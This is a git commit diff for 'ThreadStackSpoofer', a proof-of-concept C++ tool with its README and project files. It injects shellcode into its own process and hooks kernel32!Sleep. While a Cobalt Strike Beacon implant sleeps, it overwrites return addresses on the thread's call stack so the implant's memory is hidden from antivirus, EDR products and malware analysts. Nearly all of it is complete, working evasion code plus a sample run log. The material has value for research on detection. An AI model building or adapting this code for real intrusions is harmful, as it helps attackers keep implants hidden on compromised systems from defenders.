commit 825f2d3954488cda5ceaa59b87f754575001cdf6 Author: Mariusz B. / mgeeky Date: Mon Sep 27 00:49:30 2021 +0200 first diff --git a/README.md b/README.md new file mode 100644 index 0000000..10eb17b --- /dev/null +++ b/README.md @@ -0,0 +1,110 @@ +# Thread Stack Spoofing PoC + +This is an example implementation for _Thread Stack Spoofing_ technique aiming to evade Malware Analysts, AVs and EDRs looking for references to shellcode's frames in an examined thread's call stack. +The idea is to walk back thread's call stack and overwrite return addresses in subsequent function frames thus masquerading allocations containing malware's code. + +An implementation may differ, however the idea is roughly similar to what [MDSec's Nighthawk C2](https://www.mdsec.co.uk/nighthawk/) offers for its agents. +Especially demonstrated in this video: + +[Nighthawk - Thread Stack Spoofing](https://vimeo.com/581861665) + + +## How it works? + +This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`). +Then when shellcode runs (this implementation specifically targets Cobalt Strike Beacon implants) a Windows function will be hooked intercepting moment when Beacon falls asleep `kernel32!Sleep`. +Whenever hooked `MySleep` function gets invoked, it will spoof its own call stack leading to this `MySleep` function and begin sleeping. +Having awaited for expected amount of time, the Thread's call stack will get restored assuring stable return and shellcode's execution resumption. + +The rough algorithm is following: + +1. Read shellcode's contents from file. +2. Acquire all the necessary function pointers from `dbghelp.dll`, call `SymInitialize` +3. Hook `kernel32!Sleep` pointing back to our callback. +4. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread` +5. As soon as Beacon attempts to sleep, our `MySleep` callback gets invoked. +6. Stack Spoofing begins. +7. Firstly we walk call stack of our current thread, utilising `ntdll!RtlCaptureContext` and `dbghelp!StackWalk64` +8. We save all of the stack frames that match our `seems-to-be-beacon-frame` criterias (such as return address points back to a memory being `MEM_PRIVATE` or `Type = 0`, or memory's protection flags are not `R/RX/RWX`) +9. We terate over collected frames (gathered function frame pointers `RBP/EBP` - in `frame.frameAddr`) and overwrite _on-stack_ return addresses with a fake `::CreateFileW` address. +10. Finally a call to `::SleepEx` is made to let the Beacon's sleep while waiting for further communication. +11. After Sleep is finished, we restore previously saved original function return addresses and execution is resumed. + +Function return addresses are scattered all around the thread's stack memory area, pointed to by `RBP/EBP` register. In order to find them on the stack, we need to firstly collect frame pointers, then dereference them for overwriting: + +``` + *(PULONG_PTR)(frameAddr + sizeof(void*)) = Fake_Return_Address; +``` + +This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`. + + +## Demo + +This is how a call stack may look like when it is **NOT** spoofed: + +[images/not-spoofed.png] + +This in turn, when thread stack spoofing is enabled: + +[images/spoofed.png] + + +## Example run + +Example run that spoofs beacon's thread call stack: + +``` +C:\> ThreadStackSpoofer.exe beacon64.bin 1 +[.] Reading shellcode bytes... +[.] Initializing stack spoofer... +[+] Stack spoofing initialized. +[.] Hooking kernel32!Sleep... +[.] Injecting shellcode... +WalkCallStack: Stack Trace: + 2. calledFrom: 0x7ff7abc92de4 - stack: 0x50174ff7d0 - frame: 0x50174ff8e0 - ret: 0x1f255dabd51 - skip? 0 + 3. calledFrom: 0x1f255dabd51 - stack: 0x50174ff8f0 - frame: 0x50174ff8e8 - ret: 0x1388 - skip? 0 + 4. calledFrom: 0x 1388 - stack: 0x50174ff8f8 - frame: 0x50174ff8f0 - ret: 0x1f25683ae80 - skip? 0 + 5. calledFrom: 0x1f25683ae80 - stack: 0x50174ff900 - frame: 0x50174ff8f8 - ret: 0x1b000100000004 - skip? 0 + 6. calledFrom: 0x1b000100000004 - stack: 0x50174ff908 - frame: 0x50174ff900 - ret: 0x8003600140000 - skip? 0 + 7. calledFrom: 0x8003600140000 - stack: 0x50174ff910 - frame: 0x50174ff908 - ret: 0x1f255f76040 - skip? 0 + 8. calledFrom: 0x1f255f76040 - stack: 0x50174ff918 - frame: 0x50174ff910 - ret: 0x1f255d8cd9f - skip? 0 + 9. calledFrom: 0x1f255d8cd9f - stack: 0x50174ff920 - frame: 0x50174ff918 - ret: 0x1f255d8cdd0 - skip? 0 +WalkCallStack: Stack Trace finished. + Spoofed: 0x1f255dabd51 -> 0x7ffeb7f74b60 + Spoofed: 0x00001388 -> 0x7ffeb7f74b60 + Spoofed: 0x1f25683ae80 -> 0x7ffeb7f74b60 + Spoofed: 0x1b000100000004 -> 0x7ffeb7f74b60 + Spoofed: 0x8003600140000 -> 0x7ffeb7f74b60 + Spoofed: 0x1f255f76040 -> 0x7ffeb7f74b60 + Spoofed: 0x1f255d8cd9f -> 0x7ffeb7f74b60 + Spoofed: 0x1f255d8cdd0 -> 0x7ffeb7f74b60 +MySleep(5000) +[+] Shellcode is now running. +WalkCallStack: Stack Trace: + 2. calledFrom: 0x7ff7abc92e14 - stack: 0x50174ff7d0 - frame: 0x50174ff8e0 - ret: 0x7ffeb7f74b60 - skip? 1 + 3. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff8f0 - frame: 0x50174ff8e8 - ret: 0x7ffeb7f74b60 - skip? 1 + 4. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff8f8 - frame: 0x50174ff8f0 - ret: 0x7ffeb7f74b60 - skip? 1 + 5. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff900 - frame: 0x50174ff8f8 - ret: 0x7ffeb7f74b60 - skip? 1 + 6. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff908 - frame: 0x50174ff900 - ret: 0x7ffeb7f74b60 - skip? 1 + 7. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff910 - frame: 0x50174ff908 - ret: 0x7ffeb7f74b60 - skip? 1 + 8. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff918 - frame: 0x50174ff910 - ret: 0x7ffeb7f74b60 - skip? 1 + 9. calledFrom: 0x7ffeb7f74b60 - stack: 0x50174ff920 - frame: 0x50174ff918 - ret: 0x7ffeb7f74b60 - skip? 1 +WalkCallStack: Stack Trace finished. + Restored: 0x7ffeb7f74b60 -> 0x1f255dabd51 + Restored: 0x7ffeb7f74b60 -> 0x1388 + Restored: 0x7ffeb7f74b60 -> 0x1f25683ae80 + Restored: 0x7ffeb7f74b60 -> 0x1b000100000004 + Restored: 0x7ffeb7f74b60 -> 0x8003600140000 + Restored: 0x7ffeb7f74b60 -> 0x1f255f76040 + Restored: 0x7ffeb7f74b60 -> 0x1f255d8cd9f + Restored: 0x7ffeb7f74b60 -> 0x1f255d8cdd0 +``` + + +## Author + +``` +Mariusz Banach / mgeeky, +, '21 +``` diff --git a/ThreadStackSpoofer.sln b/ThreadStackSpoofer.sln new file mode 100644 index 0000000..2e42bae --- /dev/null +++ b/ThreadStackSpoofer.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31105.61 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ThreadStackSpoofer", "ThreadStackSpoofer\ThreadStackSpoofer.vcxproj", "{9EED9E19-9475-4D2E-9B06-37D6799417FE}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x64.ActiveCfg = Debug|x64 + {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x64.Build.0 = Debug|x64 + {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x86.ActiveCfg = Debug|Win32 + {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x86.Build.0 = Debug|Win32 + {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x64.ActiveCfg = Release|x64 + {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x64.Build.0 = Release|x64 + {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x86.ActiveCfg = Release|Win32 + {9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {C5AF3E09-A902-42DF-9A8C-D63A66F8F25B} + EndGlobalSection +EndGlobal diff --git a/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj new file mode 100644 index 0000000..d719e19 --- /dev/null +++ b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj @@ -0,0 +1,156 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {9eed9e19-9475-4d2e-9b06-37d6799417fe} + ThreadStackSpoofer + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + true + true + + + + + Level3 + false + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + false + false + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + + + Console + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.filters b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.filters new file mode 100644 index 0000000..fbbb25d --- /dev/null +++ b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user new file mode 100644 index 0000000..8673b85 --- /dev/null +++ b/ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user @@ -0,0 +1,7 @@ + + + + d:\dev2\ThreadStackSpoofer\ThreadStackSpoofer\x64\Debug\beacon64.bin + WindowsLocalDebugger + + \ No newline at end of file diff --git a/ThreadStackSpoofer/header.h b/ThreadStackSpoofer/header.h new file mode 100644 index 0000000..4c80b4e --- /dev/null +++ b/ThreadStackSpoofer/header.h @@ -0,0 +1,94 @@ +#pragma once + +#include +#include +#include +#include +#include +#include + + +typedef void (WINAPI* typeSleep)( + DWORD dwMilis + ); + +typedef BOOL(__stdcall* typeStackWalk64)( + DWORD MachineType, + HANDLE hProcess, + HANDLE hThread, + LPSTACKFRAME64 StackFrame, + PVOID ContextRecord, + PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine, + PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine, + PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine, + PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress + ); + +typedef BOOL(__stdcall* typeSymInitialize)( + IN HANDLE hProcess, + IN LPCSTR UserSearchPath, + IN BOOL fInvadeProcess + ); + +typedef std::unique_ptr::type, decltype(&::CloseHandle)> HandlePtr; + +struct CallStackFrame +{ + ULONG_PTR calledFrom; + ULONG_PTR stackAddr; + ULONG_PTR frameAddr; + ULONG_PTR origFrameAddr; + ULONG_PTR retAddr; + ULONG_PTR overwriteWhat; +}; + +static const size_t MaxStackFramesToSpoof = 64; +struct StackTraceSpoofingMetadata +{ + HMODULE hDbghelp; + typeStackWalk64 pStackWalk64; + LPVOID pSymFunctionTableAccess64; + LPVOID pSymGetModuleBase64; + bool initialized; + CallStackFrame spoofedFrame[MaxStackFramesToSpoof]; + size_t spoofedFrames; +}; + +struct HookedSleep +{ + typeSleep origSleep; + BYTE sleepStub[16]; +}; + +struct HookTrampolineBuffers +{ + // (Input) Buffer containing bytes that should be restored while unhooking. + BYTE* originalBytes; + DWORD originalBytesSize; + + // (Output) Buffer that will receive bytes present prior to trampoline installation/restoring. + BYTE* previousBytes; + DWORD previousBytesSize; +}; + + +template +void log(Args... args) +{ + std::stringstream oss; + (oss << ... << args); + + std::cout << oss.str() << std::endl; +} + +static const size_t Frames_To_Preserve = 2; +static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ; + +bool hookSleep(); +bool injectShellcode(std::vector& shellcode); +bool readShellcode(const char* path, std::vector& shellcode); +void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames = false); +bool initStackSpoofing(); +bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL); +void spoofCallStack(bool overwriteOrRestore); +void WINAPI MySleep(DWORD _dwMilliseconds); \ No newline at end of file diff --git a/ThreadStackSpoofer/main.cpp b/ThreadStackSpoofer/main.cpp new file mode 100644 index 0000000..6d143f5 --- /dev/null +++ b/ThreadStackSpoofer/main.cpp @@ -0,0 +1,436 @@ + +#include "header.h" + +HookedSleep g_hookedSleep; +StackTraceSpoofingMetadata g_stackTraceSpoofing; + + +void WINAPI MySleep(DWORD _dwMilliseconds) +{ + const volatile DWORD dwMilliseconds = _dwMilliseconds; + spoofCallStack(true); + + log("MySleep(", std::dec, dwMilliseconds, ")"); + ::SleepEx(dwMilliseconds, false); + + spoofCallStack(false); +} + +bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers /*= NULL*/) +{ +#ifdef _WIN64 + uint8_t trampoline[] = { + 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr + 0x41, 0xFF, 0xE2 // jmp r10 + }; + + uint64_t addr = (uint64_t)(jumpAddress); + memcpy(&trampoline[2], &addr, sizeof(addr)); +#else + uint8_t trampoline[] = { + 0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr + 0xFF, 0xE0 // jmp eax + }; + + uint32_t addr = (uint32_t)(jumpAddress); + memcpy(&trampoline[1], &addr, sizeof(addr)); +#endif + + DWORD dwSize = sizeof(trampoline); + DWORD oldProt = 0; + bool output = false; + + if (installHook) + { + if (buffers != NULL) + { + if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0) + return false; + + memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize); + } + + if (::VirtualProtect( + addressToHook, + dwSize, + PAGE_EXECUTE_READWRITE, + &oldProt + )) + { + memcpy(addressToHook, trampoline, dwSize); + output = true; + } + } + else + { + if (buffers == NULL) + return false; + + if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0) + return false; + + dwSize = buffers->originalBytesSize; + + if (::VirtualProtect( + addressToHook, + dwSize, + PAGE_EXECUTE_READWRITE, + &oldProt + )) + { + memcpy(addressToHook, buffers->originalBytes, dwSize); + output = true; + } + } + + ::VirtualProtect( + addressToHook, + dwSize, + oldProt, + &oldProt + ); + + return output; +} + +bool hookSleep() +{ + HookTrampolineBuffers buffers = { 0 }; + buffers.previousBytes = g_hookedSleep.sleepStub; + buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub); + + g_hookedSleep.origSleep = reinterpret_cast(Sleep); + + if (!fastTrampoline(true, (BYTE*)::Sleep, &MySleep, &buffers)) + return false; + + return true; +} + +void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames /*= false*/) +{ + CONTEXT c = { 0 }; + STACKFRAME64 s = { 0 }; + DWORD imageType; + ULONG curRecursionCount = 0; + + c.ContextFlags = CONTEXT_ALL; + + if (hThread == GetCurrentThread() || hThread == 0) + RtlCaptureContext(&c); + else + GetThreadContext(hThread, &c); + +#ifdef _M_IX86 + const ULONG_PTR invalidAddr = 0xcccccccc; + // normally, call ImageNtHeader() and use machine info from PE header + imageType = IMAGE_FILE_MACHINE_I386; + s.AddrPC.Offset = c.Eip; + s.AddrPC.Mode = AddrModeFlat; + s.AddrFrame.Offset = c.Ebp; + s.AddrFrame.Mode = AddrModeFlat; + s.AddrStack.Offset = c.Esp; + s.AddrStack.Mode = AddrModeFlat; +#elif _M_X64 + const ULONG_PTR invalidAddr = 0xcccccccccccccccc; + imageType = IMAGE_FILE_MACHINE_AMD64; + s.AddrPC.Offset = c.Rip; + s.AddrPC.Mode = AddrModeFlat; + s.AddrFrame.Offset = c.Rsp; + s.AddrFrame.Mode = AddrModeFlat; + s.AddrStack.Offset = c.Rsp; + s.AddrStack.Mode = AddrModeFlat; +#elif _M_IA64 + const ULONG_PTR invalidAddr = 0xcccccccccccccccc; + imageType = IMAGE_FILE_MACHINE_IA64; + s.AddrPC.Offset = c.StIIP; + s.AddrPC.Mode = AddrModeFlat; + s.AddrFrame.Offset = c.IntSp; + s.AddrFrame.Mode = AddrModeFlat; + s.AddrBStore.Offset = c.RsBSP; + s.AddrBStore.Mode = AddrModeFlat; + s.AddrStack.Offset = c.IntSp; + s.AddrStack.Mode = AddrModeFlat; +#else +#error "Platform not supported!" +#endif + + log("WalkCallStack: Stack Trace: "); + + *numOfFrames = 0; + ULONG Frame = 0; + + for (Frame = 0; ; Frame++) + { + BOOL result = g_stackTraceSpoofing.pStackWalk64( + imageType, + GetCurrentProcess(), + hThread, + &s, + &c, + NULL, + (PFUNCTION_TABLE_ACCESS_ROUTINE64)g_stackTraceSpoofing.pSymFunctionTableAccess64, + (PGET_MODULE_BASE_ROUTINE64)g_stackTraceSpoofing.pSymGetModuleBase64, + NULL + ); + + if (!result || s.AddrReturn.Offset == 0) + break; + + if (s.AddrPC.Offset == s.AddrReturn.Offset) + { + if (curRecursionCount > 1000) + { + break; + } + curRecursionCount++; + } + else + { + curRecursionCount = 0; + } + + CallStackFrame frame = { 0 }; + + frame.calledFrom = s.AddrPC.Offset; + frame.stackAddr = s.AddrStack.Offset; + frame.frameAddr = s.AddrFrame.Offset; + frame.retAddr = s.AddrReturn.Offset; + + if (Frame > maxFrames) + break; + + if (Frame < Frames_To_Preserve) continue; + + bool skipFrame = false; + + if (onlyBeaconFrames) + { + MEMORY_BASIC_INFORMATION mbi = { 0 }; + + if (VirtualQuery((LPVOID)frame.retAddr, &mbi, sizeof(mbi))) + { + if (mbi.Type != MEM_PRIVATE && mbi.Type != 0) skipFrame = true; + + if ((mbi.Protect & PAGE_EXECUTE) != 0 || (mbi.Protect & PAGE_EXECUTE_READ) != 0 || !(mbi.Protect & PAGE_EXECUTE_READWRITE) != 0) { + } + else { + skipFrame = true; + } + } + + if (frame.retAddr == invalidAddr) skipFrame = true; + } + + if (!skipFrame && frame.retAddr != 0 && frame.frameAddr != 0) + { + frames[(*numOfFrames)++] = frame; + } + + log("\t", std::dec, Frame, ".\tcalledFrom: 0x", std::setw(8), std::hex, frame.calledFrom, " - stack: 0x", frame.stackAddr, + " - frame: 0x", frame.frameAddr, " - ret: 0x", frame.retAddr, " - skip? ", skipFrame); + } + + log("WalkCallStack: Stack Trace finished."); +} + +void spoofCallStack(bool overwriteOrRestore) +{ + CallStackFrame frames[MaxStackFramesToSpoof] = { 0 }; + size_t numOfFrames = 0; + + walkCallStack(GetCurrentThread(), frames, _countof(frames), &numOfFrames, true); + + if (overwriteOrRestore) + { + for (size_t i = 0; i < numOfFrames; i++) + { + auto& frame = frames[i]; + + if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof) + { + frame.overwriteWhat = (ULONG_PTR)::CreateFileW; + g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame; + } + } + + for (size_t i = 0; i < g_stackTraceSpoofing.spoofedFrames; i++) + { + auto frame = g_stackTraceSpoofing.spoofedFrame[i]; + *(PULONG_PTR)(frame.frameAddr + sizeof(ULONG_PTR)) = frame.overwriteWhat; + + log("\t\t\tSpoofed: 0x", + std::setw(8), std::setfill('0'), std::hex, frame.retAddr, " -> 0x", frame.overwriteWhat); + } + } + else + { + for (size_t i = 0; i < g_stackTraceSpoofing.spoofedFrames; i++) + { + auto frame = g_stackTraceSpoofing.spoofedFrame[i]; + + *(PULONG_PTR)(frame.frameAddr + sizeof(ULONG_PTR)) = frame.retAddr; + + log("\t\t\tRestored: 0x", std::setw(8), std::setfill('0'), std::hex, frame.overwriteWhat, " -> 0x", frame.retAddr); + } + + memset(g_stackTraceSpoofing.spoofedFrame, 0, sizeof(g_stackTraceSpoofing.spoofedFrame)); + g_stackTraceSpoofing.spoofedFrames = 0; + } + + return; +} + +bool initStackSpoofing() +{ + memset(&g_stackTraceSpoofing, 0, sizeof(g_stackTraceSpoofing)); + + g_stackTraceSpoofing.hDbghelp = LoadLibraryA("dbghelp.dll"); + if (!g_stackTraceSpoofing.hDbghelp) + return false; + + g_stackTraceSpoofing.pSymFunctionTableAccess64 = + GetProcAddress(g_stackTraceSpoofing.hDbghelp, "SymFunctionTableAccess64"); + g_stackTraceSpoofing.pSymGetModuleBase64 = + GetProcAddress(g_stackTraceSpoofing.hDbghelp, "SymGetModuleBase64"); + g_stackTraceSpoofing.pStackWalk64 = + (typeStackWalk64)GetProcAddress(g_stackTraceSpoofing.hDbghelp, "StackWalk64"); + auto pSymInitialize = + (typeSymInitialize)GetProcAddress(g_stackTraceSpoofing.hDbghelp, "SymInitialize"); + + if (!g_stackTraceSpoofing.pSymFunctionTableAccess64 + || !g_stackTraceSpoofing.pSymGetModuleBase64 + || !g_stackTraceSpoofing.pStackWalk64 + || !pSymInitialize + ) + return false; + + pSymInitialize(GetCurrentProcess(), nullptr, TRUE); + + log("[+] Stack spoofing initialized."); + g_stackTraceSpoofing.initialized = true; + return true; +} + +bool readShellcode(const char* path, std::vector& shellcode) +{ + HandlePtr file(CreateFileA( + path, + GENERIC_READ, + FILE_SHARE_READ, + NULL, + OPEN_EXISTING, + 0, + NULL + ), &::CloseHandle); + + if (INVALID_HANDLE_VALUE == file.get()) + return false; + + DWORD highSize; + DWORD readBytes = 0; + DWORD lowSize = GetFileSize(file.get(), &highSize); + + shellcode.resize(lowSize, 0); + + return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL); +} + +bool injectShellcode(std::vector& shellcode, HandlePtr &thread) +{ + auto alloc = ::VirtualAlloc( + NULL, + shellcode.size() + 1, + MEM_COMMIT, + PAGE_READWRITE + ); + + if (!alloc) + return false; + + memcpy(alloc, shellcode.data(), shellcode.size()); + + DWORD old; + + if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old)) + return false; + + LPVOID fakeAddr = (LPVOID)(((ULONG_PTR)GetProcAddress(GetModuleHandleA("ntdll"), "RtlUserThreadStart")) + 0x21); + + BYTE origRtlUserThreadStartBytes[16]; + HookTrampolineBuffers buffers = { 0 }; + buffers.previousBytes = buffers.originalBytes = origRtlUserThreadStartBytes; + buffers.previousBytesSize = buffers.originalBytesSize = sizeof(origRtlUserThreadStartBytes); + if (!fastTrampoline(true, (BYTE*)fakeAddr, alloc, &buffers)) + return false; + + shellcode.clear(); + thread.reset(::CreateThread( + NULL, + 0, + (LPTHREAD_START_ROUTINE)fakeAddr, + 0, + 0, + 0 + )); + + ::SleepEx(1000, false); + + if (!fastTrampoline(false, (BYTE*)fakeAddr, alloc, &buffers)) + return false; + + return (NULL != thread.get()); +} + +int main(int argc, char** argv) +{ + if (argc < 3) + { + log("Usage: ThreadStackSpoofer.exe "); + return 1; + } + + std::vector shellcode; + bool spoof = (!strcmp(argv[2], "true") || !strcmp(argv[2], "1")); + + log("[.] Reading shellcode bytes..."); + if (!readShellcode(argv[1], shellcode)) + { + log("[!] Could not open shellcode file! Error: ", ::GetLastError()); + return 1; + } + + if (spoof) + { + log("[.] Thread call stack will be spoofed."); + if (!initStackSpoofing()) + { + log("[!] Could not initialize stack spoofing!"); + return 1; + } + + log("[.] Hooking kernel32!Sleep..."); + if (!hookSleep()) + { + log("[!] Could not hook kernel32!Sleep!"); + return 1; + } + } + else + { + log("[.] Thread call stack will NOT be spoofed."); + } + + log("[.] Injecting shellcode..."); + + HandlePtr thread(NULL, &::CloseHandle); + if (!injectShellcode(shellcode, thread)) + { + log("[!] Could not inject shellcode! Error: ", ::GetLastError()); + return 1; + } + + log("[+] Shellcode is now running."); + + WaitForSingleObject(thread.get(), INFINITE); +} \ No newline at end of file diff --git a/images/not-spoofed.png b/images/not-spoofed.png new file mode 100644 index 0000000..c56c8a6 Binary files /dev/null and b/images/not-spoofed.png differ diff --git a/images/spoofed.png b/images/spoofed.png new file mode 100644 index 0000000..80b931a Binary files /dev/null and b/images/spoofed.png differ